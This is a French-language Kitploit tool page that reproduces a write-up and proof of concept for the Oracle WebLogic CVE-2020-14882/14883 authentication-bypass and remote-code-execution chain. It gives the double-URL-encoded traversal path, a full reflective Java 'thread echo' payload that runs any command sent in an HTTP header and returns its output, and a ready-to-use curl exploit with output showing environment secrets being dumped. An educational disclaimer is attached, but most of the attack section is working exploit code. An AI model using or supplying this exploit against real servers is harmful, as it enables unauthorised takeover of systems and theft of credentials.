Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-14882-WebLogic-Analysis — Analyse technique et PoC Java Thread Echo propre pour la chaîne de vulnérabilités d'Oracle WebLogic Server. | Kitploit
Outils/GitHubGitHub/velessecurity/cve-2020-14882-weblogic-analysis
Analyse des VulnérabilitésExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHubvelessecurity/cve-2020-14882-weblogic-analysis

CVE-2020-14882-WebLogic-Analysis

Analyse technique et PoC Java Thread Echo propre pour la chaîne de vulnérabilités d'Oracle WebLogic Server.

Voir le dépôt
9il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Recherche de vulnérabilités : Exploitation de la chaîne CVE-2020-14882 et CVE-2020-14883 dans Oracle WebLogic Server

Le dépôt contient un rapport technique (Write-up) et une preuve de concept (PoC) pour démontrer la chaîne de vulnérabilités de contournement d'authentification (Authentication Bypass) et d'exécution de code à distance (RCE) dans le composant de console d'administration d'Oracle WebLogic Server.

🛑 WARNING & DISCLAIMER: Ce document a été préparé exclusivement à des fins éducatives et pour mener un audit de sécurité légitime (Pentest). L'utilisation des techniques décrites contre des systèmes sans le consentement écrit préalable des propriétaires est poursuivie par la loi.


🏗 Architecture de la recherche et pile technologique

  • Objectif : Environnement de test isolé avec Oracle WebLogic Server version 12.2.1.3 déployé
  • Vecteur d'attaque : Path Traversal → MVEL2 Script Execution → Java Thread Hijacking
  • Outils : nmap, curl, bash

📈 Déroulement pratique de l'exploitation

Étape 1. Reconnaissance passive et active du périmètre (Scanning)

Pour déterminer la surface d'attaque, un scan ciblé des ports standard des services web et des ports d'administration des applications Java a été effectué :

nmap -sV -p 7001,80,8080,8443 <TARGET_IP>

Sortie de terminal contrôlée :

Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).

PORT     STATE  SERVICE VERSION
80/tcp   closed http
8080/tcp closed http-proxy
7001/tcp open   http    Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
  • Point clé de l'étape : La bannière a confirmé la présence de la branche vulnérable 12.2.1.3. L'activation du protocole T3 indique également des vecteurs alternatifs, mais pour cette recherche, l'interface web HTTP de la console a été retenue.

Étape 2. Contournement des mécanismes d'authentification (CVE-2020-14882)

L'analyse de la structure des chemins a montré que le serveur web traite incorrectement les séquences de remontée de répertoire lorsqu'elles sont doublement encodées en URL. La ressource /console/css/ est ouverte pour le contenu statique. Nous construisons une requête pour accéder au portail protégé :

  • Modèle de contournement : /console/css/%252e%252e%252fconsole.portal

Nous vérifions la disponibilité et le comportement du serveur (nous nous attendons à un statut 200 OK au lieu d'un 403 Forbidden ou 302 Redirect vers la page de connexion) :

curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"

Réponse du serveur :

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

Étape 3. Exécution de code à distance via Java Reflection (CVE-2020-14883)

En combinant le contournement d'authentification avec l'appel du gestionnaire de sessions com.tangosol.coherence.mvel2.sh.ShellSession, nous obtenons la possibilité d'exécuter du code Java arbitraire.

L'exécution classique de commandes via java.lang.Runtime est « aveugle » (Blind RCE). Pour implémenter la technique Command Echo (retour de la sortie du terminal directement dans le corps de la réponse HTTP), un payload Java réflexif spécial a été développé.

Code source du payload Java :

// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");

if (cmd != null) {
    // Определяем ОС целевой системы для корректного вызова шелла
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{"cmd.exe", "/c", cmd} 
        : new String[]{"/bin/sh", "-c", cmd};
    
    // Выполняем системную команду и считываем Input Stream
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
        .useDelimiter("\\A").next();
    
    // Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
}

// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();

Étape 4. Exploitation finale et dump de l'environnement (Exploitation)

Pour automatiser l'envoi du contexte Java, nous assemblons la commande curl finale. Nous transmettons le payload dans le paramètre POST handle et la commande souhaitée dans l'en-tête personnalisé X-CMD-HEADER: env.

Cette approche protège les données contre l'altération par l'interpréteur de commandes Bash local côté chercheur.

curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"

Sortie réelle vérifiée (Dump des variables d'environnement) :

*   Trying <TARGET_IP>:7001...
*   Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
> 
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
Télécharger l’outil